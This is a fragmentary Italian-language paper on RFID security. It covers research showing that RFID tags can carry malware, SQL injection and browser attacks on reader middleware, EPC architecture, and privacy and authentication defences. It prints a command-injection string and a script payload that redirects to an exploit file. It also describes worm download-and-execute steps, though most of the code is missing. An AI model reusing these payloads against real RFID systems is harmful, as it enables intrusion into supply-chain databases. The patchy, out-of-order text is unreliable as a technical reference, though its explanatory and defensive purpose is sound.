La Sicurezza Degli RFID 0 2
La Sicurezza Degli RFID 0 2
La Sicurezza Degli RFID 0 2
1.4 VANTAGGI
L'RFID, a differenza dei Codici a Barre e delle Bande magnetiche:
• Non deve essere vicino per essere letto come le bande magnetiche
• Non deve essere visibile per essere letto come per i codici a barre
• Può anche aggiungere informazioni sui chip in funzione della tipologia del Chip (Read Only, Read Once,
Read and Write)
• Ha un tempo per l'identificazione e la verifica di 10/100 di secondo
1.6 LA NEWS
Alcuni ricercatori della Vrije Universiteit, polo universitario olandese (ad Amsterdam), tra cui Melanie Rieback ed
il Prof. Andrew Tanenbaum hanno trovato un modo per inserire un virus nei tag RFID. Inizialmente si credeva
fosse impossibile a causa della memoria limitata dei tag, ma in occasione della Pervasive Computing and
Communications Conference tenutasi a Pisa il 15 marzo 2006 questi hanno dimostrato che è possibile.
Il problema potrebbe esser nato a causa del costo dei tag RFID. Le aziende, infatti stanno cercando di produrre il
prima possibile tag RFID sempre più economici al fine di raggiungere prezzi competitivi per affermarsi sul mercato,
ma tale corsa sta lasciando indietro gli aspetti fondamentali della sicurezza informatica.
La presenza anche di un solo tag infetto, potrebbe causare anomalie in un intero sistema di controllo.
Una possibile contromisura sarebbe quella di estendere i sistemi di lettura dei tag RFID con un sistema anti-virus. I
ricercatori olandesi infatti hanno già dato vita a rfidguardian.org, un sistema specializzato che osserva, controlla e
difende i sistemi di lettura RFID da possibili attacchi.
Un tag infetto può infettare un intero sistema di controllo (middleware) il quale potrà infettare altri tag rfid che
supportano la modalità R/W i quali, spostandosi fisicamente, potranno essere letti anche da ulteriori sistemi di
controllo, infetteranno anche quest' ultimi, che a loro volta infetteranno altri tag e così via....
2 Sicurezza - Malware
2.1 _Start_ RFID HACKING
La prima domanda che ci si è posti è stata:
“Come posso inserire un exploit o un virus in un tag che ha poco meno di 1Kb di memoria?”
Praticamente infettando i tag RFID si possono sfruttare le vulnerabilità presenti nel middleware.
Un virus, worm, o altro codice maligno (malware) accede al database per esempio, lo infetta, dopodiché' i dati che
verranno letti da tale database potranno infettare a loro volta anche ulteriori componenti del middleware.
"Tavolo; shutdown"
Supponendo che il simbolo ; indica la fine di un'istruzione e l'inizio della nuova, il risultato che avremmo sarebbe
Tale attacco non è certamente un virus, ma è certamente un pericolo dato che un attacker ha la possibilità di
spegnere a suo piacimento il database.
<script>document.location='http://ip/exploit.wmf';</script>
Questi codici, eseguiti dal browser, consentono di sfruttare le vulnerabilità' non solo del middleware, ma dell'intero
sistema operativo (software compresi).
NB: il secondo codice non sfrutta un bug, ma è semplicemente un comando che elimina ogni file dell' harddisk.
Se il nostro tag rfid contenesse all'interno della sua memoria, nella sezione dati il seguente codice
Questo significa che verrà aggiornata la tabella ContainerContents e la cella OldContents conterrà Apple.
Inoltre sarà creata un'altra cella denominata NewContents che conterrà i 57 caratteri dell' istruzione stessa,
successivi al 43°carattere.
Inoltre questa istruzione contaminerà l'intero database, non solo un'istanza perché il simbolo -- in SQL rappresenta
l'inizio di un commento (WHERE TagId='123' dunque non verrà considerato).
Ora, al fine di consentire la propagazione dell'infezione su ulteriori tag, è necessario eseguire ulteriore codice. Data
la bassa capacità di memoria dei tag RFID, cercheremo di richiamare programmi esterni al middleware che possano
correre in nostro aiuto. Con la stringa
oppure
Il primo esempio entra nell directory Windows\Temp e attraverso il protocollo tftp (non richiede una login) scarica
da <ip> il file worm.exe e lo esegue.
Il secondo esegue wget e scarica il worm da ip salvandolo nella directory /tmp/, poi setta i permessi di esecuzione e
lo esegue.
• dal Web-Based Attack: Anche questo problema è risolvibile usando opportunamente gli escape ' all' interno
del codice HTML. Inoltre, se non sono necessari linguaggi di scripting (javascript, SSI), sarebbe opportuno
disabilitarli per evitarne abusi.
• dal Buffer Overflow Attack: Si potrebbero utilizzare dei tools capaci di gestire i buffer ed i loro limiti nello
stack al fine di evitare l' overflows dei dati (ad esempio: Valgrind; Electric Fence). In alternativa si potrebbe
usare un linguaggio di programmazione interpretato dove tale controllo è implementato e protegge lo stack
automaticamente (ad esempio: Java).
In realtà pero' l' EPC non è una semplice estensione dell' UPC (Universal Product Code).
Ciò che rende l'EPC innovativo è l'approccio sistematico dell' Auto-ID Center sviluppato al M.I.T.
L'EPC può essere associato al concetto di "Internet delle Cose" (Internet of Things).
L'EPC beneficerà notevolmente della capacità degli RFID di essere letti senza necessità di contatto (contactless),
dalla loro capacità di contenere una grande mole di dati e dalle loro caratteristiche di anti-contraffazione. Queste
caratteristiche combinate con la possibilità di reperire attraverso Internet le informazioni riguardanti il prodotto (chi
lo ha prodotto e quando è stato fatto, dove è transitato, qual è la sua scadenza oppure la data in cui termina il
periodo di garanzia, etc.) creano una potentissima, ed al tempo stesso flessibile, catena di fornitura.
3.1 EPC
L'EPC è un codice diviso in numeri che identificano: produttore, prodotto, versione, numero seriale ed un ulteriore
set di caratteri per identificare "univocamente" l'oggetto.
3.2 ID System
L'ID System, ovvero il sistema di identificazione è basato sui tag RFID.
3.5 Savant
Savant è un softtware per gestire le informazioni in modo che si eviti l'overload delle attuali reti. Savant usa una
architettura distribuita. I server Savant vengono organizzati su basi gerarchiche ed agiscono come il sistema nervoso
della rete EPC (EPC Network), gestendo il flusso informativo.
Sono state quindi studiare alcune tecniche per aiutare a proteggere la privacy degli utenti, ma purtroppo si teme che
alcune di queste potrebbero diventare presto illegali in alcune circoscrizioni per "motivi di sicurezza".
4.2 Crittografia
Questa tecnica permette la cifratura dell'id in modo che possa essere interpretato unicamente da un solo lettore. A
causa della ridotta capacità della memoria degli rfid, le chiavi spesso vengono crackate in poco tempo con attacchi
di tipo brute-force.
4.4 Proxying
Un "Watchdog Tag" è un tag rfid che controlla l'ambiente (ricerca passiva), leggendo e memorizzando le specifiche
dei lettori, come le policy sulla privacy ad esempio.
"RFID Guardian” and “RFID Enhancer Proxy” (REP), sono delle soluzioni proposte anche dal prof. Tanenbaum
che prevedono una sorta di filtro per i tag. Questi sistemi, usti dall'utente, rappresentano dei "firewall" in grado di
esaminare il lettore e decidere se lasciar leggere o meno il tag. Ad esempio, questo genere di tecnologia può
impedire la lettura di alcuni tag ad una distanza di 30m dalla propria abitazione (sfruttando la tecnologia GPS).
5.2 Yoking
Una seconda proposta è stata denominata "yoking".
L'autenticazione viene cioè effettuata solo se due tag si trovano relativamente vicini. Ad esempio per vendere un
medicinale e dimostrare che al momento della vendita erano presenti anche le istruzioni d'uso.
Un' estensione di questo metodo permette di affiancare ad un tag rfid un POWF, cioè un piccolo oggetto di plastica
contente delle informazioni univoche (mediante piccolissimi pezzi di vetro ad esempio) che sono estremamente
difficili da riprodurre. Associare ad ogni rfid un POWF permette una maggiore, ma anche più costosa
autenticazione. I POWF sono però ancora oggi oggetto di grande interesse per la ricerca e non vengono dunque
implementati per usi commerciali su larga scala.
In teoria l'unico modo per rompere questo sistema di sicurezza sarebbe quello di effettuare attacchi fisici al tag
estraendo direttamente dal microchip il codice segreto.
● Relay attacks:
○ Questo attacco, conosciuto anche come man-in-the-middle, nella tecnologia rfid riesce a rappresentare
una vera minaccia. Infatti, con questa tecnica è possibile, oltre ad "ascoltare" la comunicazione, anche
aggirare le limitazioni della "distanza di sicurezza". Interponendo dei ripetitori radio infatti si possono
far connettere tag e lettori distanti anche diversi chilometri. Alcune contromisure sono rappresentate
dall'uso di PIN, pulsanti fisici attivabili manualmente e supporto GPS per l'identificazione fisica.
6.4 Privacy
L'uso di chiavi segrete univoche rappresenta un problema per la privacy. Essendo estremamente semplice risalire
alla propria chiave segreta, se questa fosse associata staticamente ad un codice identificativo, sarebbe semplice
tracciare ed identificare quel tag in ogni momento. Per anonimizzare il tag, sarebbe necessario che la chiave segreta
venisse aggiornata dopo un periodo t random con una chiave k random cosicchè la tracciabilità e l'identificazione
diverrebbero "impossibili".
7 Riferimenti
[English Wikipedia RFID]
(http://en.wikipedia.org/wiki/RFID)
Indice generale
La sicurezza degli RFID.................................................................................................................................................1
1 Introduzione.................................................................................................................................................................2
1.1 RFID.................................................................................................................................................................... 2
1.2 TAG RFID........................................................................................................................................................... 2
1.3 TAG RFID attivi e passivi...................................................................................................................................2
1.4 VANTAGGI........................................................................................................................................................ 2
1.5 RFID: Read Only e Read/Write...........................................................................................................................2
1.6 LA NEWS............................................................................................................................................................2
2 Sicurezza - Malware.................................................................................................................................................... 3
2.1 _Start_ RFID HACKING.................................................................................................................................... 3
2.2 ATTACCO – 1 – SQL INJECTION................................................................................................................... 3
2.3 ATTACCO – 2 – BUFFER OVERFLOW.......................................................................................................... 4
2.4 TIPOLOGIA MALWARE.................................................................................................................................. 4
2.5 ARCHITETTURA MIDDLEWARE................................................................................................................. 4
2.6 VULNERABILITA' EXTRA.............................................................................................................................. 4
2.7 ESEMPIO VIRUS............................................................................................................................................... 5
2.8 COME DIFENDERSI......................................................................................................................................... 5
3 L'architettura Auto-ID................................................................................................................................................. 6
3.1 EPC...................................................................................................................................................................... 6
3.2 ID System............................................................................................................................................................ 6
3.3 Object Name Service (ONS)............................................................................................................................... 6
3.4 Physical Markup Language (PML)..................................................................................................................... 6
3.5 Savant.................................................................................................................................................................. 6
4 Sicurezza - Privacy...................................................................................................................................................... 7
4.1 Bloker tag ............................................................................................................................................................7
4.2 Crittografia...........................................................................................................................................................7
4.3 Pseudonym throttling...........................................................................................................................................7
4.4 Proxying...............................................................................................................................................................7
4.5 Distanza di sicurezza........................................................................................................................................... 7
5 Sicurezza – Authentication..........................................................................................................................................8
5.1 Kill PIN................................................................................................................................................................8
5.2 Yoking................................................................................................................................................................. 8
7 Riferimenti...................................................................................................................................................................9
8 Indice......................................................................................................................................................................... 10